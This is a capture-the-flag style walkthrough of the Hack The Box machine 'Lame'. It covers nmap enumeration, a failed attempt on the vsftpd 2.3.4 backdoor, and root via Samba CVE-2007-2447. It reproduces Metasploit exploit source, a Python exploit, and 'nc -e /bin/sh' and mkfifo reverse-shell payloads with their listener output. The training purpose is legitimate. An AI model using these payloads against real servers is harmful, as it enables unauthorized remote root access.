Lame

#HacktheBox

Starting with Nmap to scan open ports

```
nmap -sT -Pn -p- --min-rate 10000 10.10.10.3
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-06 20:12 IST
Nmap scan report for 10.10.10.3
Host is up (0.22s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3632/tcp open  distccd

Nmap done: 1 IP address (1 host up) scanned in 50.58 seconds
```

Scanning for UDP ports

```
sudo nmap -sU -Pn  -p- -min-rate 10000 10.10.10.3
[sudo] password for mindflare:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-06 20:40 IST
Nmap scan report for 10.10.10.3
Host is up (0.27s latency).
Not shown: 65531 open|filtered udp ports (no-response)
PORT     STATE  SERVICE
22/udp   closed ssh
139/udp  closed netbios-ssn
445/udp  closed microsoft-ds
3632/udp closed distcc

Nmap done: 1 IP address (1 host up) scanned in 20.70 seconds
```

Full Version and Script scan

```
nmap -p 21,22,139,445,3632 -sV -sC -oA nmap.txt 10.10.10.3
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-06 20:42 IST
Nmap scan report for 10.10.10.3
Host is up (0.34s latency).
```

```
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 10.10.16.5
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.0.20-Debian (workgroup:
WORKGROUP)
3632/tcp open  distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-
1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-security-mode:
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery:
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: lame
|   NetBIOS computer name:
|   Domain name: hackthebox.gr
|   FQDN: lame.hackthebox.gr
|_  System time: 2024-06-06T11:11:29-04:00
|_clock-skew: mean: 1h58m41s, deviation: 2h49m43s, median: -1m19s
|_smb2-time: Protocol negotiation failed (SMB2)

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.50 seconds
```

1- FTP - 21

Since FTP allows anonymous login but after checking the directory was empty..
Now checking the version of vsftpd 2.3.4 in internet i find Backdoor command Execution.

VSFTPD exploit Without Metasploit

It can be triggered by connecting to FTP and logging in with a username ending in `:)`.
I'll try it with `nc`:

```
nc 10.10.10.3 21
220 (vsFTPd 2.3.4)
USER test:)
331 Please specify the password.
PASS test
```

If it worked, I should be able to connect to a listener on Lame port 6200. But it doesn't work.

```
nc 10.10.10.3 6200
Ncat: TIMEOUT.
```

With Metasploit

```
msf6 > search vsftpd 2.3.4

Matching Modules
================

   #  Name                                  Disclosure Date  Rank
Check  Description
   -  ----                                  ---------------  ----
-----  -----------
   0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent
No     VSFTPD v2.3.4 Backdoor Command Execution


Interact with a module by name or index. For example info 0, use 0 or
use exploit/unix/ftp/vsftpd_234_backdoor
```

```
msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
```

```
Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format
type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), see
https://docs.metasploit.com/docs/using-metasploit/basics/using-
metasploit.html
   RPORT    21               yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic



View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 10.10.10.3
RHOSTS => 10.10.10.3
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 10.10.10.3:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 10.10.10.3:21 - USER: 331 Please specify the password.
anonymous
[*] Exploit completed, but no session was created.
```

As we can see Exploit completed but not get a session.

2- Samba

Upon checking the smbd 3.0.20 we get a CVE CVE-2007-2447 .

Manually Exploitation

```
searchsploit -m exploits/unix/remote/16320.rb
  Exploit: Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command
Execution (Metasploit)
      URL: https://www.exploit-db.com/exploits/16320
```

```
     Path: /usr/share/exploitdb/exploits/unix/remote/16320.rb
    Codes: CVE-2007-2447, OSVDB-34700
 Verified: True
File Type: Ruby script, ASCII text
Copied to: /home/mindflare/Desktop/HTB/lame/16320.rb
```

Here i grab the source for the exploit

```
##
# $Id: usermap_script.rb 10040 2010-08-18 17:24:46Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
        Rank = ExcellentRanking

        include Msf::Exploit::Remote::SMB

        # For our customized version of session_setup_ntlmv1
        CONST = Rex::Proto::SMB::Constants
        CRYPT = Rex::Proto::SMB::Crypt

        def initialize(info = {})
                super(update_info(info,
                        'Name'           => 'Samba "username map script"
Command Execution',
                        'Description'    => %q{
                                        This module exploits a command
execution vulerability in Samba
                                versions 3.0.20 through 3.0.25rc3 when
using the non-default
                                "username map script" configuration
option. By specifying a username
                                containing shell meta characters,
attackers can execute arbitrary
                                commands.

                                No authentication is needed to exploit
this vulnerability since
                                this option is used to map usernames
```

```
prior to authentication!
                        },
                        'Author'         => [ 'jduck' ],
                        'License'        => MSF_LICENSE,
                        'Version'        => '$Revision: 10040 $',
                        'References'     =>
                                [
                                        [ 'CVE', '2007-2447' ],
                                        [ 'OSVDB', '34700' ],
                                        [ 'BID', '23972' ],
                                        [ 'URL',
'http://labs.idefense.com/intelligence/vulnerabilities/display.php?
id=534' ],
                                        [ 'URL',
'http://samba.org/samba/security/CVE-2007-2447.html' ]
                                ],
                        'Platform'       => ['unix'],
                        'Arch'           => ARCH_CMD,
                        'Privileged'     => true, # root or nobody user
                        'Payload'        =>
                                {
                                        'Space'    => 1024,
                                        'DisableNops' => true,
                                        'Compat'      =>
                                                {
                                                        'PayloadType' =>
'cmd',
                                                        # *_perl and
*_ruby work if they are installed
                                                        # mileage may
vary from system to system..
                                                }
                                },
                        'Targets'        =>
                                [
                                        [ "Automatic", { } ]
                                ],
                        'DefaultTarget'  => 0,
                        'DisclosureDate' => 'May 14 2007'))

                register_options(
                        [
                                Opt::RPORT(139)
                        ], self.class)
        end


        def exploit

                connect
```

```
                # lol?
                username = "/=`nohup " + payload.encoded + "`"
                begin
                        simple.client.negotiate(false)
                        simple.client.session_setup_ntlmv1(username,
rand_text(16), datastore['SMBDomain'], false)
                rescue ::Timeout::Error, XCEPT::LoginError
                        # nothing, it either worked or it didn't ;)
                end

                handler
        end

end
```

The key part is in `def exploit` at the bottom. It is creating an SMB session using:

- username = `/=`nohup [payload]`
- password = random 16 characters
- domain = user provided domain

So basically on Linux, `` ` ` `` are used to execute and put the output in place, just like `$()`. It seems Samba is allowing that to happen inside the username. Metasploit is calling `nohup` (which starts the process outside the current context) and then a payload.

here we can see we get session but our local box because My `bash` is executing the `` ` ` `` before sending the connection. I'll swap the `"` for `'`:

```
smbclient //10.10.10.3/tmp -U
Password for [WORKGROUP\mindflare]:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> logon "./=`nohup nc -e /bin/sh 10.10.16.5 4444`"
Password:
session setup failed: NT_STATUS_IO_TIMEOUT
```

```
-

nc -lvp 4444
listening on [any] 4444 ...
10.10.10.3: inverse host lookup failed: Unknown host
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.3] 47655
id
uid=0(root) gid=0(root)
```

Here in this way we exploit it without Metasploit.

Another way using Python script

Here i find a python script to exploit this vuln.

```
#!/usr/bin/python
# -*- coding: utf-8 -*-

# From : https://github.com/amriunix/cve-2007-2447
# case study : https://amriunix.com/post/cve-2007-2447-samba-usermap-
script/

import sys
from smb.SMBConnection import SMBConnection

def exploit(rhost, rport, lhost, lport):
        payload = 'mkfifo /tmp/hago; nc ' + lhost + ' ' + lport + '
0</tmp/hago | /bin/sh >/tmp/hago 2>&1; rm /tmp/hago'
        username = "/=`nohup " + payload + "`"
        conn = SMBConnection(username, "", "", "")
        try:
            conn.connect(rhost, int(rport), timeout=1)
        except:
            print("[+] Payload was sent - check netcat !")

if __name__ == '__main__':
    print("[*] CVE-2007-2447 - Samba usermap script")
    if len(sys.argv) != 5:
        print("[-] usage: python " + sys.argv[0] + " <RHOST> <RPORT>
<LHOST> <LPORT>")
    else:
        print("[+] Connecting !")
        rhost = sys.argv[1]
        rport = sys.argv[2]
        lhost = sys.argv[3]
```

```
        lport = sys.argv[4]
        exploit(rhost, rport, lhost, lport)
```

```
 python user_map_script.py 10.10.10.3 445 10.10.16.5 4444
[*] CVE-2007-2447 - Samba usermap script
[+] Connecting !
[+] Payload was sent - check netcat !

_____________________________________________________________________________
____

nc -lvp 4444
listening on [any] 4444 ...
10.10.10.3: inverse host lookup failed: Unknown host
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.3] 44558
id
uid=0(root) gid=0(root)
```

With Metasploit

```
msf5 > use exploit/multi/samba/usermap_script msf5
exploit(multi/samba/usermap_script) > set rhosts 10.10.10.3 rhosts ⇒
10.10.10.3 msf5 exploit(multi/samba/usermap_script) > set payload
cmd/unix/reverse payload ⇒ cmd/unix/reverse msf5
exploit(multi/samba/usermap_script) > set lhost tun0 lhost ⇒
10.10.14.24 msf5 exploit(multi/samba/usermap_script) > set lport 443
lport ⇒ 443

msf5 exploit(multi/samba/usermap_script) > run [*] Started reverse TCP
double handler on 10.10.14.24:443 [*] Accepted the first client
connection ... [*] Accepted the second client connection ... [*] Command:
echo zchdJVWjFG8sP3T3; [*] Writing to socket A [*] Writing to socket B
[*] Reading from sockets ... [*] Reading from socket B [*] B:
"zchdJVWjFG8sP3T3\r\n" [*] Matching ... [*] A is input ... [*]
Command shell session 1 opened (10.10.14.24:443 -> 10.10.10.3:37959) at
2019-02-28 08:52:31 -0500
id
uid=0(root) gid=0(root)
```

Beyond Root - VSFTPd

So what happened with the VSFTPd? When I first scanned the box with `nmap`, it showed four open TCP ports: FTP (21), SSH (22), Samba (139, 445), and something on 3632. But with a shell, I could see far more listeners:

```
root@lame:/# netstat -tnlp
netstat -tnlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address
State       PID/Program name
tcp        0      0 0.0.0.0:512             0.0.0.0:*
LISTEN      5444/xinetd
tcp        0      0 0.0.0.0:513             0.0.0.0:*
LISTEN      5444/xinetd
tcp        0      0 0.0.0.0:2049            0.0.0.0:*
LISTEN      -
tcp        0      0 0.0.0.0:514             0.0.0.0:*
LISTEN      5444/xinetd
tcp        0      0 0.0.0.0:8009            0.0.0.0:*
LISTEN      5582/jsvc
tcp        0      0 0.0.0.0:6697            0.0.0.0:*
LISTEN      5634/unrealircd
tcp        0      0 0.0.0.0:3306            0.0.0.0:*
LISTEN      5169/mysqld
tcp        0      0 0.0.0.0:1099            0.0.0.0:*
LISTEN      5623/rmiregistry
tcp        0      0 0.0.0.0:6667            0.0.0.0:*
LISTEN      5634/unrealircd
tcp        0      0 0.0.0.0:139             0.0.0.0:*
LISTEN      5423/smbd
tcp        0      0 0.0.0.0:5900            0.0.0.0:*
LISTEN      5646/Xtightvnc
tcp        0      0 0.0.0.0:48524           0.0.0.0:*
LISTEN      -
tcp        0      0 0.0.0.0:111             0.0.0.0:*
LISTEN      4624/portmap
tcp        0      0 0.0.0.0:6000            0.0.0.0:*
LISTEN      5646/Xtightvnc
tcp        0      0 0.0.0.0:80              0.0.0.0:*
LISTEN      5602/apache2
tcp        0      0 0.0.0.0:8787            0.0.0.0:*
LISTEN      5627/ruby
tcp        0      0 0.0.0.0:8180            0.0.0.0:*
LISTEN      5582/jsvc
tcp        0      0 0.0.0.0:1524            0.0.0.0:*
LISTEN      5444/xinetd
tcp        0      0 0.0.0.0:46261           0.0.0.0:*
LISTEN      5623/rmiregistry
tcp        0      0 0.0.0.0:21              0.0.0.0:*
LISTEN      5444/xinetd
tcp        0      0 10.10.10.3:53           0.0.0.0:*
LISTEN      5022/named
tcp        0      0 127.0.0.1:53            0.0.0.0:*
LISTEN      5022/named
```

```
tcp        0      0 0.0.0.0:23              0.0.0.0:*
LISTEN      5444/xinetd
tcp        0      0 0.0.0.0:5432            0.0.0.0:*
LISTEN      5250/postgres
tcp        0      0 0.0.0.0:56888           0.0.0.0:*
LISTEN      4642/rpc.statd
tcp        0      0 0.0.0.0:25              0.0.0.0:*
LISTEN      5413/master
tcp        0      0 127.0.0.1:953           0.0.0.0:*
LISTEN      5022/named
tcp        0      0 0.0.0.0:445             0.0.0.0:*
LISTEN      5423/smbd
tcp        0      0 0.0.0.0:41407           0.0.0.0:*
LISTEN      5345/rpc.mountd
tcp6       0      0  ::: 2121                ::: *
LISTEN      5520/proftpd: (acce
tcp6       0      0  ::: 3632                ::: *
LISTEN      5277/distccd
tcp6       0      0  ::: 53                  ::: *
LISTEN      5022/named
tcp6       0      0  ::: 22                  ::: *
LISTEN      5046/sshd
tcp6       0      0  ::: 5432                ::: *
LISTEN      5250/postgres
tcp6       0      0  ::1:953                 ::: *
LISTEN      5022/named
```

The firewall must be blocking a lot.

That means that if the backdoor is triggered, and starts listening on 6200, it's likely not reachable from my host. I'll test. For demonstration purposes, I'll switch to the user on the box, makis:

```
root@lame:/etc# su - makis -c bash makis@lame:~$ nc 127.0.0.1 6200
(UNKNOWN) [127.0.0.1] 6200 (?) : Connection refused
```

I'm unable to connect to the backdoor. When I trigger the backdoor again, now I can connect and get a shell as root:

```
nc 10.10.10.3 21
220 (vsFTPd 2.3.4)
USER test:)
331 Please specify the password.
PASS test
```

```
————
makis@lame:~$ nc 127.0.0.1 6200
nc 127.0.0.1 6200
(UNKNOWN) [127.0.0.1] 6200 (?) : Connection refused

makis@lame:~$ nc 127.0.0.1 6200
nc 127.0.0.1 6200
id
id
uid=0(root) gid=0(root)

netstat -tnlp | grep 6200
netstat -tnlp | grep 6200
tcp        0      0 0.0.0.0:6200            0.0.0.0:*
LISTEN      7365/sh
```

I can see the port is now listening: